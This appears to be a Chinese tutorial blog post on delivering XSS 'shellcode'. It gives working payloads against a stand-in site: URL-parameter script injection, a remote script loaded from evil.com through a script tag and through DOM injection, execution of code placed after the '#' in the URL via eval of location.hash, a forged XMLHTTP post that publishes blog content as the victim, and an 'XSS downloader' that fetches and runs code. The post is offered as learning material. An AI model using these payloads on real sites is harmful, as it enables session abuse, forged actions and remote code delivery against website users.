跨站脚本攻击—shellcode
来源:互联网 发布:js求数组最大值和下标 编辑:程序博客网 时间:2024/06/08 20:17
接下来讲述XSS Shellcode 的调用。
何谓 Shellcode?这个名词曾经多次出现,包括平时经常能听到的 Expliot、
POC等,如果对这些概念还不够清晰,那么下面的解释你必要看一看。
【Shellcode】
【Shellcode】
所谓的 Shellcode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞时所执行
的代码。在XSS跨站脚本中,是指由JavaScript 等脚本编写的XSS 利用代码。
【Exploit】
Exploit 的英文意思就是利用,在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用
工具(或程序),具有一定的攻击性。
Exploit 很容易和 Shellcode 混淆,所以需要记住一点:Exploit 往往包含了Shellcode。
【POC】
即Proof of Concept 的缩写,是一段证明漏洞存在的程序代码片段。
明白这几个概念后,我们回到主题中。
在传统 XSS 的返 Shellcode 一般是直接写进页面中执行,不过实际环境中可能会遇到
重重阻挠,比如服务器端程序的过滤、输入字符有长度限制等,所以,攻击者往往会把 Shellcode
写到远程服务器上,然后使用<script>等标签对其进行调用,或者使用一些本地存储对象对其进
行存储和调用等。
在XSS中调用Shellcode 有多种方式。
第二行代码把<script>的 src 属性设置成 “http://www.evil.com/xss.js”,xss.js 里面写有
在XSS中调用Shellcode 有多种方式。
动态调用远程 JavaScript
假设www.bug.com的 某个地方有XSS 漏洞,Exploit 如下:
http://www.bug.com/veiw.php?sort=【Expliot】
可以直接把Shellcode 写到URL参数中,如:
http://www.bug.com/veiw.php?sort="><script>alert(/xss/)</script>
这里有个显而易见的缺点,就是恶意代码败露在 URL链接中,容易使网站用户产生怀疑。
此外,Web 应用程序不仅会对当中的恶意代码进行过滤,也会限制 URL的字符长度。所以,方
便起见,Shellcode 可写到其他服务器的文件上,然后再用<script>标签进行动态加载。
譬如上面的例子中,可以很容易地在里面添加一个 src 属性,并远程执行:
"><script src=http:// www. evil.com/xss.js></script><
http://www.bug.com/veiw.php?sort="><script src=http:// ;
www..evil.com/xss.js></script><
除了使用<script>标签动态调用远程JavaScript,还可以DOM 的方法创建和插入节
点,把脚本或HTML注入到网页,实现过程如下:
var s=document.createElement("script");
s.src="http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);
第一行代码使用createElement()函数创建一个新元素 -script。 第二行代码把<script>的 src 属性设置成 “http://www.evil.com/xss.js”,xss.js 里面写有
Shellcode 代码。
第三行代码使用getElementsByTagName()函数查找并返回文档中第一个元素(因为索引为 0)
然后利用appendChild()函数调用元素参数s,追加指定的节点到子节点列表的最后一个。
简单来说,这段脚本的作用就是动态创建了一个<script>标签,其 src 属性指向
http://www.evil..com/xss.js,然后把引用JavaScript 的代码插入到网页的<head>标签后。
怎么使用 window.location.hash
怎么使用 window.location.hash
加载远程域的 JavaScript 文件是调用 XSS Shellcode 的常见方式之一,它的不便之处在于:
需要有远程服务器的权限,恰当地说,利用者必须上传 JavaScript 等文件到
如果仅仅是为了解决 URL字符长度问题,还可以使用另一种方式实现Shellcode 的存储和
调用 利用window.location.hash 属性。
location 是 JavaScript 管理地址栏的内置对象,比如 location.href 用来管理页面的 URL,用
location.href=url 就可以直接将页面重定向 URL,而 location.hash 则可以用来获取或设置页面的
标签值。比如 http://domain/#admin 的 location.hash="#admin",利用这个属性值可以做一件非常
有意义的事情。
例如前面的例子,如果结合location.hash 的特性调用Shellcode,具体代码如下:
http://www.bug.com/veiw.php?sort="><script>eval(location.hash.subst
r(1))</script>#alert('xss')
简单解释一下上述代码:
substr()可在字符串中抽取从 start 下标(这里是 1)开始的指定数目的字符,所以
location.hash.substr(1) 的作用是抽取“#”符号后面的字符,即alert('xss');而eval()函数用来计算 JavaScript 代码。那么,eval(location.hash.substr(1))的功能就是执行
Url的#之后的 JavaScript 代码,通过这个技巧,就能先把Shellcode 写到地址参数中再执行。如:
http://www.bug.com/veiw.php?sort="><script>eval(location.hash.substr(1))</script>#
var url="/index.php?mod=blog&act=dopost";var content="blog_content=By%3A%E5%AD%A4 ";
function _sd_Post(Url, Args){var xmlhttp;var error;eval('try {xmlhttp = new
ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {xmlhttp = null;error=e;}');if(null !=
xmlhttp){ xmlhttp.Open("POST", Url, false); xmlhttp.setRequestHeader("x-requested-
with", "XMLHttpRequest");xmlhttp.setRequestHeader("Referer",
"http://www.my.com/api_ proxy.html");xmlhttp.setRequestHeader("Accept",
"application/json, text/javascript, */*");xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");xmlhttp.setRequestHeader("Host",
"www.my.com");xmlhttp.Send(Args); strText = xmlhttp.responseText; }}_sd_Post(url,
content);
这个XSS Expliot 还可以经过各种编码处理以加强迷惑性。
XSS Downloader
XSS Downloader
下面接着介绍另一种存储和调用 Shellcode 的方法,即将其存储到网站的数据库中,包括网
页信息、文章内容、个人资料等地方,然后再把它们下载下来执行。
简单地说,其实就是打造一个 XSS downloader(XSS 下载器),事先把 Shellcode 写在网站
的 XMLHTTP 控件向网站发送 HTTP请求(POST 或 GET),然后执行返回的
数据,下面是一个简单的POC: function XSS(){
a=new ActiveXObject('Microsoft.XMLHTTP');
a.Open('get','http://www.bug.com/11221.html',false);/
a.send();
b=a.responseText;
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
} XSS();
而http://www.bug.com/11221.html 页面写入了Shellcode 代码:
Xx09abcxddxBOF|alert(/XSS/)|EOFxxx44xx1212
解释一下这段代码的作用。
第一行:定义一个XSS()函数,该函数也就是调用 Shellcode 的主函数。
第二行:创建一个XMLHTTP 对象。
第三、四行:向http://www.bug.com/11221.html发送一个HTTP 请求并获取 HTTP响应。
第五行:获取responseText,结果返回为字符串,把该变量赋值给 b 变量。
第六行:用 indexOf()函数计算 BOF|和|EOF的位置,再用substring()函数方法取出字符串,
最后用unescape()函数方法解码执行。
如果对 XMLHTTP技术一点都不了解,你可能会被上述难以捉摸的代码迷惑,后续我会为大家讲解的。
文章仅仅用于学习!不得用于非法用途!资料部分来源互联网,版权归作者所有!
文章仅仅用于学习!不得用于非法用途!资料部分来源互联网,版权归作者所有!
0 0
- 跨站脚本攻击—shellcode
- 跨站脚本攻击
- 跨站脚本攻击
- 跨站脚本攻击
- 跨站脚本攻击
- 跨站脚本攻击
- Java xss攻击(跨站脚本攻击)
- 跨站脚本攻击(XSS)
- XSS 跨站脚本攻击
- 诠释跨站脚本攻击
- 跨站脚本攻击(XSS)
- xss 跨站脚本攻击
- 跨站脚本攻击【转】
- 解决跨站脚本攻击
- 跨站脚本攻击XSS
- 跨站脚本攻击详解
- 跨站脚本攻击XSS
- 跨站脚本攻击基础
- HDU 1084(水题)
- 设计模式六大原则(5):迪米特原则
- Access Control List and Process(如何设置DACL)
- 代理模式----代理追求者
- 遇过的坑-用ant编译java项目,如果static变量有修改,使用了该static变量的java文件, 不会重编译
- 跨站脚本攻击—shellcode
- Android学习笔记<20140113> Internal Storage
- ubuntu文本编码转换工具iconv
- 小强的HTML5移动开发之路(19)——HTML5 Local Storage(本地存储)
- 常用的一些注入命令
- iconv: illegal input sequence at position 14876089
- 【高精度】2的n次方
- Json与Java间传参常用的几种方式
- Java_JDK+JRE